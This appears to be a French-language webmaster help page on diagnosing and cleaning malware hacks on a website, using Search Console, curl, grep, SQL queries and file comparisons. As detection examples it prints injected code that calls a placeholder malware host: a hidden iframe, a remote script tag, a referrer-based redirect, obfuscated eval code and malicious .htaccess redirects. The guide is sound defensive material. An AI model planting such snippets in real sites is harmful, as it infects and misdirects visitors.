Piratage de type logiciel malveillant

Un logiciel malveillant est un logiciel ou une application mobile conçus spécialement pour endommager un ordinateur ou un appareil mobile, perturber le fonctionnement de leurs logiciels, ou nuire à leurs utilisateurs. Pour en savoir plus sur les logiciels malveillants, consultez Logiciels malveillants et indésirables.

Si votre site contient un logiciel malveillant, les utilisateurs verront généralement l'avertissement Ce site risque d'endommager votre ordinateur dans les résultats de recherche ou sur une page interstitielle affichée par le navigateur lorsqu'ils tentent d'accéder à votre site. L'avertissement se présente généralement comme suit:

Page interstitielle représentative des logiciels malveillants
Résultats de recherche avec un avertissement de logiciel malveillant.

Pour ce faire, vous devez disposer des éléments suivants :

  • Accès administrateur shell ou terminal aux serveurs de votre site: Web, base de données et fichiers.
  • Connaissances des commandes de shell ou de terminal
  • La possibilité d'exécuter des requêtes SQL sur la base de données

Préparation

  • Inscrivez-vous à la Search Console et validez la propriété de votre site piraté comme indiqué. La Search Console fournit un échantillon des pages concernées, ce qui facilite la recherche et la résolution des problèmes de piratage avec des logiciels malveillants. De plus, vous serez averti lorsque votre site sera détecté comme étant affecté par de nombreux types de logiciels malveillants ou d'autres piratages.
  • Consultez la page de diagnostic de la navigation sécurisée Google pour obtenir des informations publiques sur le fait qu'un site est potentiellement dangereux pour les utilisateurs. Vous pouvez consulter l'état de la fiche de votre page ou de votre site à une URL semblable à celle-ci : https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Par exemple : https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> peut être l'URL d'une page spécifique (http://example.com/badpage) ou l'intégralité de votre site (example.com).

  • Évitez d'utiliser un navigateur pour afficher les pages de votre site. Étant donné que les logiciels malveillants se propagent en exploitant les failles des navigateurs, ouvrir une page infectée par un logiciel malveillant dans un navigateur peut endommager votre ordinateur. Sauf si les instructions de diagnostic indiquent d'accéder à la page directement dans votre navigateur, utilisez cURL ou Wget pour effectuer des requêtes HTTP (par exemple, pour extraire une page).

    Ces outils disponibles sans frais sont utiles pour diagnostiquer les redirections et peuvent inclure des informations sur l'URL de provenance ou l'user-agent. L'ajout d'un référent ou d'un user-agent spécifique permet de simuler des pirates informatiques, car ils ne diffusent peut-être que du contenu malveillant auprès des utilisateurs disposant d'un user-agent ou d'un référent spécifiques pour cibler davantage de "vraies personnes" et éviter d'être détectés par les propriétaires de sites et les outils de détection de logiciels malveillants.

`curl -v --referer "http://www.google.com" <your-url>`

Voici un exemple qui spécifie à la fois un user-agent et un site référent:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Nous vous recommandons d'extraire une page avec et sans --referer "https://www.google.com", car certains logiciels malveillants ne s'activent que lorsque les utilisateurs proviennent des résultats de recherche Google.

  • Créez un document pour enregistrer les résultats de cette étape. Le document inclura (au minimum) le nom et l'emplacement de chaque fichier endommagé, ainsi que des notes sur la façon dont il a été infecté. Il servira de base pour nettoyer et entretenir votre site.

  • Regardez la vidéo plus haut sur cette page pour découvrir le fonctionnement des logiciels malveillants et comment vous protéger lors de votre enquête.

Diagnostic

Déterminez quel logiciel malveillant affecte votre site:

  1. Ouvrez le rapport sur les problèmes de sécurité de votre site dans la Search Console. Développez la description de l'avertissement concernant les logiciels malveillants pour afficher une liste d'exemples de pages concernées. Notez que cette liste n'est pas exhaustive. Vous ne verrez peut-être pas d'exemples de pages pour tous les types de logiciels malveillants sur votre site.
  2. Testez vos exemples de pages pour les types de logiciels malveillants suivants.

Logiciels malveillants de configuration du serveur (redirections indésirables)

Un pirate informatique a compromis votre site et redirige les visiteurs de votre site de confiance vers son site piraté contenant un logiciel malveillant, probablement en modifiant les fichiers de configuration de votre serveur. Les fichiers de configuration de serveur permettent en général à l'administrateur du site de spécifier les URL de redirection pour des pages ou des répertoires spécifiques d'un site Web. Par exemple, sur les serveurs Apache, il s'agit des fichiers .htaccess et httpd.conf.

Diagnostic

Consultez quelques exemples d'URL figurant dans le rapport sur les problèmes de sécurité. Voici les en-têtes que peuvent inclure les réponses d'une page infectée par une "configuration de serveur" :

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Déterminer les fichiers concernés

Connectez-vous à votre serveur via l'interface système ou le terminal (le site peut être mis hors connexion au besoin) et examinez les fichiers de configuration pertinents du serveur. Il se peut que plusieurs fichiers de configuration de serveur soient piratés sur votre site. Vérifiez les instructions indésirables contenues dans ces fichiers, telles que les redirections vers des sites inconnus. Par exemple, dans le fichier .htaccess, vous pouvez voir une redirection qui se présente comme suit:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Injection SQL

Un pirate informatique a compromis la base de données de votre site. Par exemple, il peut avoir ajouté du code malveillant dans tous les enregistrements d'un tableau de base de données. Dans ce cas, lorsque le serveur charge une page nécessitant des informations issues de la base de données, le code malveillant est désormais intégré au contenu de la page et peut nuire aux visiteurs du site.

Diagnostic

  1. Exécutez des requêtes au niveau des URL concernées dans la ligne de commande et examinez la réponse pour des termes d'attaque SQL, comme "iframe" ou "eval".
  2. Connectez-vous à votre serveur de base de données ou affichez votre base de données à l'aide d'un outil comme phpMyAdmin. Si vous avez utilisé les commandes Wget ou cURL, essayez de corréler les dommages détectés dans le code source de la page à travers les commandes Wget ou cURL avec les entrées réelles de la base de données. Par exemple, si vous avez remarqué que vos pages incluaient un iFrame dangereux, vous pouvez effectuer une requête SQL à la recherche de code iFrame. Exemple :

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Vous pouvez également rechercher des activités inhabituelles dans les journaux des bases de données et les fichiers d'erreur, comme les commandes SQL inattendues qui semblent être anormales pour les erreurs ou les internautes habitués.

Résoudre le problème

Mettez à jour tous les enregistrements de la base de données infectée ou restaurez votre dernière sauvegarde de base de données connue.

Injection de code

Les pages de votre site ont été modifiées pour inclure du code malveillant, tel qu'un iFrame vers un site pirate contenant un logiciel malveillant.

Diagnostic

Consultez quelques exemples d'URL figurant dans le rapport sur les problèmes de sécurité avec cURL ou wGet, et recherchez du code suspect. Le code injecté peut prendre de nombreux types et peut être difficile à trouver. Il peut être utile de rechercher des mots comme "iframe" pour trouver le code correspondant. Recherchez aussi "script", "eval" et "unescape". Par exemple, pour rechercher "iframe" dans tous les fichiers sur un système Unix:

$grep -irn "iframe" ./ | less</pre>

Voici quelques exemples de modèles de logiciels malveillants courants à rechercher.

iFrame qui charge un site malveillant:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

Langage JavaScript ou autre langage de script qui appelle et exécute des scripts provenant d'un site pirate:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Script qui redirige le serveur vers un site pirate :

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Code malveillant dissimulé pour ne pas être détecté:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Fichiers d'objets partagés conçus pour écrire de façon aléatoire un code malveillant sur des scripts non infectés:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Modèles d'erreur malveillants

Le modèle utilisé pour les messages d'erreur, tel que 404 Fichier introuvable, est configuré pour distribuer un logiciel malveillant. De cette façon, les pirates informatiques peuvent pirater des URL qui n'existent même pas sur votre site.

Diagnostic

Demandez une page de votre site qui n'existe pas ou qui génère un autre type d'erreur, puis examinez la réponse pour voir si elle provient d'un autre site ou si elle contient un autre programme malveillant.

Résoudre le problème

Connectez-vous à votre serveur Web et recherchez les directives de page d'erreur dans les fichiers de configuration de votre serveur. Par exemple, le modèle d'erreur des serveurs Web Apache peut être déclaré dans le fichier .htaccess. Voici un exemple d'entrée de fichier .htaccess qui extrait les pages d'erreur 404 d'un site malveillant:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Lorsque vous êtes prêt à nettoyer votre site, remplacez les fichiers .htaccess par une sauvegarde non infectée connue ou supprimez les directives ErrorDocument indésirables dans les fichiers .htaccess existants. Veillez également à effacer les fichiers d'erreur réels si votre site en contient. Enfin, redémarrez votre serveur Web pour vous assurer que toutes les modifications prennent effet.

Chargement de ressources à partir d'un site infecté ou malveillant {compromised-resources}

Votre site utilise du contenu ou des ressources provenant d'un site Web réputé pour comporter du contenu malveillant. Il peut s'agir de fichiers JavaScript, d'images ou d'autres fichiers. Par conséquent, votre site sera signalé pour un logiciel malveillant chargé depuis cet autre site.

Diagnostic

Consultez quelques exemples d'URL figurant dans le rapport sur les problèmes de sécurité.

Résoudre le problème

  1. Confirmez le problème en accédant à quelques-uns des exemples d'URL répertoriés dans le rapport sur les problèmes de sécurité de la Search Console. Un avertissement du navigateur devrait s'afficher.
  2. L'avertissement du navigateur indique le domaine du contenu douteux. Supprimez toutes les références au site marqué répertoriées dans l'avertissement du navigateur. Si le contenu d'un site signalé a été inclus à votre insu, le problème est plus grave. Votre site a probablement été piraté. Nous vous invitons à continuer à l'examiner pour détecter d'autres piratages et failles.
  3. Si vous avez inclus intentionnellement du contenu provenant d'un site légitime qui a été signalé et que vous souhaitez le réinclure une fois le site signalé nettoyé, vous pouvez surveiller l'état du site signalé à l'aide de la page de diagnostic de Google Safe Browsing pour ce site (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Les propriétaires de sites légitimes les nettoient généralement rapidement.

Recherches approfondies

Ensuite, recherchez d'autres fichiers ou modifications malveillants sur votre système. Le pirate informatique peut avoir modifié des pages ou des enregistrements de base de données existants, créé des pages entièrement nouvelles contenant du spam, écrit des fonctions qui affichent du spam sur des pages propres, ou laissé des "portes dérobées" qui lui permettent de pénétrer à nouveau sur votre site ou qui réinjectent du code malveillant que vous avez supprimé.

Si votre site est en ligne, envisagez de le mettre hors service pour cette enquête.

Si vous disposez d'une sauvegarde non infectée de votre site, déterminez les fichiers créés ou modifiés depuis la sauvegarde et examinez-les. Sur les systèmes Unix, vous pouvez utiliser une commande comme celle-ci pour rechercher de nouveaux fichiers:

diff -qr <current-directory> <backup-directory>

Exemple :

diff -qr www/ backups/full-backup-20120124/

également:

md5sum <current-page> <backup-page>

Exemple :

md5sum www/page.html backups/full-backup-20120124/page.html

Vérifiez les journaux du serveur, d'accès et d'erreur pour détecter toute activité suspecte, comme les tentatives de connexion échouées, l'historique des commandes (en particulier en tant que racine) et la création de comptes utilisateur inconnus. Sachez que le pirate informatique peut avoir modifié ces journaux à ses propres fins. Des exemples sont présentés dans la vidéo sur l'identification de la faille.

Vérifiez les fichiers de configuration pour détecter les redirections. Vos fichiers de configuration sont généralement nommés .htaccess et httpd.conf. Les pirates informatiques créent souvent des redirections conditionnelles en fonction de l'user-agent, de l'heure de la journée ou de l'URL de provenance. Si vous devez mettre à jour des fichiers de configuration, vous devrez peut-être redémarrer votre serveur pour que les modifications prennent effet.

Vérifiez si les autorisations de dossier et de fichier sont trop laxistes. Les pirates informatiques falsifient les autorisations, car si les autorisations laxistes ne sont pas détectées par le propriétaire du site, le pirate informatique aura un moyen de réaccéder au site. Les fichiers de plus de 644 (rw-r--r--) et les dossiers de plus de 755 (rwxr-xr-x) peuvent entraîner des problèmes de sécurité. Assurez-vous que toute autorisation plus large est vraiment nécessaire. Sur les systèmes Unix, essayez:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

et

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Si vous disposez d'une base de données, examinez chaque enregistrement à l'aide d'un outil tel que phpMyAdmin.